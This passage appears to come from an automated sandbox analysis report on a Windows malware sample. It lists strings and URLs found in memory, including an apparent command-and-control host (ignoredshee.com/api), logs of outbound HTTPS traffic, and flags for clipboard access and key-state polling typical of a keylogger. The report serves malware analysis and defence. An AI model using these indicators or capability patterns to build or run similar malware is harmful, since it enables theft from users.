Source: df1dfa8044.exe, 00000015.00000003.2906890939.00000000013A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: df1dfa8044.exe, 00000015.00000003.2906890939.00000000013A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 00000009.00000002.2397227874.0000020D6B170000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000009.00000002.2397227874.0000020D6B170000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000009.00000002.2397227874.0000020D6B170000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://curl.se/docs/hsts.html
Source: f9cb675f2a.exe, 00000014.00000002.2923109913.0000000000914000.00000040.00000001.01000000.00000011.sdmp, f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: df1dfa8044.exe, 00000015.00000003.2861482323.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2861373795.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: df1dfa8044.exe, 00000015.00000003.2861482323.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2861373795.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: df1dfa8044.exe, 00000015.00000003.2861482323.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2861373795.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: svchost.exe, 00000021.00000003.2993208313.000002B54FA0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000021.00000003.2993208313.000002B54F9B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000009.00000002.2363798553.0000020D5B1EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000002.2253227665.00000000050DB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2363798553.0000020D5BBEC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: f9cb675f2a.exe, 00000014.00000002.2923109913.0000000000914000.00000040.00000001.01000000.00000011.sdmp, f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://httpbin.org/ip
Source: f9cb675f2a.exe, 00000014.00000002.2923109913.0000000000914000.00000040.00000001.01000000.00000011.sdmp, f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://httpbin.org/ipbefore
Source: df1dfa8044.exe, 00000015.00000003.2932235755.000000000139E000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.3098388690.000000000139C000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2937946659.000000000139E000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2921912644.0000000001304000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2860203945.0000000001304000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2876605511.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2875502133.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2875470293.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2874925187.0000000005B28000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2850909565.0000000001304000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ignoredshee.com/
Source: df1dfa8044.exe, 00000015.00000003.2860203945.0000000001332000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ignoredshee.com/R
Source: df1dfa8044.exe, 00000015.00000003.2912096147.0000000001332000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ignoredshee.com/api
Source: df1dfa8044.exe, 00000015.00000003.2860203945.0000000001332000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ignoredshee.com/apis
Source: df1dfa8044.exe, 00000015.00000003.2921768684.0000000001389000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2922214903.000000000138C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ignoredshee.com/apix8x
Source: df1dfa8044.exe, 00000015.00000003.2923630282.000000000139E000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2932235755.000000000139E000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2922214903.000000000139E000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2937946659.000000000139E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ignoredshee.com/er
Source: df1dfa8044.exe, 00000015.00000003.2903101651.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2910350223.0000000005B35000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2888176976.0000000005B32000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2890864154.0000000005B32000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2906968798.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2887496425.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2907373736.0000000005B32000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2903548899.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ignoredshee.com/mA92%
Source: df1dfa8044.exe, 00000015.00000003.2923630282.000000000139E000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2922214903.000000000139E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ignoredshee.com/piLd
Source: df1dfa8044.exe, 00000015.00000003.2938162168.0000000001377000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2850909565.0000000001304000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ignoredshee.com:443/api
Source: df1dfa8044.exe, 00000015.00000003.2906890939.00000000013A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: powershell.exe, 00000006.00000002.2256031154.0000000005DA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2397227874.0000020D6B02D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2397227874.0000020D6B170000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: d04aa34f51.exe, 00000016.00000003.3430503074.000000000C6F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: df1dfa8044.exe, 00000015.00000003.2891037744.0000000005C49000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: d04aa34f51.exe, 00000016.00000003.3430503074.000000000C6F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: df1dfa8044.exe, 00000015.00000003.2906890939.00000000013A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: df1dfa8044.exe, 00000015.00000003.2850733379.0000000001332000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2850573825.0000000001372000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: df1dfa8044.exe, 00000015.00000003.2850733379.0000000001332000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2850573825.0000000001372000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: df1dfa8044.exe, 00000015.00000003.2861482323.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2861373795.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: df1dfa8044.exe, 00000015.00000003.2861482323.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2861373795.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: df1dfa8044.exe, 00000015.00000003.2890691450.0000000005B67000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.or
Source: df1dfa8044.exe, 00000015.00000003.2890691450.0000000005B67000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: d04aa34f51.exe, 00000016.00000003.3430503074.000000000C6F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: d04aa34f51.exe, 00000016.00000003.3430503074.000000000C6F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: d04aa34f51.exe, 00000016.00000003.3430503074.000000000C6F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: df1dfa8044.exe, 00000015.00000003.2906890939.00000000013A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 0000002F.00000002.3042418279.000002C858D70000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: e65eefc791.exe, 00000017.00000003.3058241629.0000000001203000.00000004.00000020.00020000.00000000.sdmp, e65eefc791.exe, 00000017.00000003.3058573609.0000000001203000.00000004.00000020.00020000.00000000.sdmp, e65eefc791.exe, 00000017.00000002.3157689386.0000000001203000.00000004.00000020.00020000.00000000.sdmp, e65eefc791.exe, 00000017.00000003.3059429730.0000000001203000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdh
Source: unknown Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49810 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49934 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49990 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49995 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49997 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49999 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50001 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50003 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50006 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50008 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50043 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50047 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50045 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50051 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50053 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50056 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50058 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50062 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50065 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.150.254:443 -> 192.168.2.6:50071 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.150.254:443 -> 192.168.2.6:50072 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.150.254:443 -> 192.168.2.6:50077 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.150.254:443 -> 192.168.2.6:50078 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50079 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.150.254:443 -> 192.168.2.6:50080 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50081 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.150.254:443 -> 192.168.2.6:50082 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50083 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50085 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50086 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50088 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.150.254:443 -> 192.168.2.6:50089 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50090 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004AEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard, 0_2_004AEAFF
Contains functionality to modify clipboard data
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004AED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard, 0_2_004AED6A
Contains functionality to read the clipboard data
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004AEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard, 0_2_004AEAFF
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0049AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput, 0_2_0049AA57
Potential key logger detected (key state polling based)
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004C9576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW, 0_2_004C9576

System Summary
barindex
Binary is likely a compiled AutoIt script file
Source: px4Y74kUj2.exe String found in binary or memory: This is a third-party compiled AutoIt script.
Source: px4Y74kUj2.exe, 00000000.00000000.2207627146.00000000004F2000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_6043bb4e-5
Source: px4Y74kUj2.exe, 00000000.00000000.2207627146.00000000004F2000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_490687b5-6
Source: e65eefc791.exe, 00000017.00000000.2931033480.0000000000ED2000.00000002.00000001.01000000.00000014.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_d32269d2-b
Source: e65eefc791.exe, 00000017.00000000.2931033480.0000000000ED2000.00000002.00000001.01000000.00000014.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_673b77b4-9
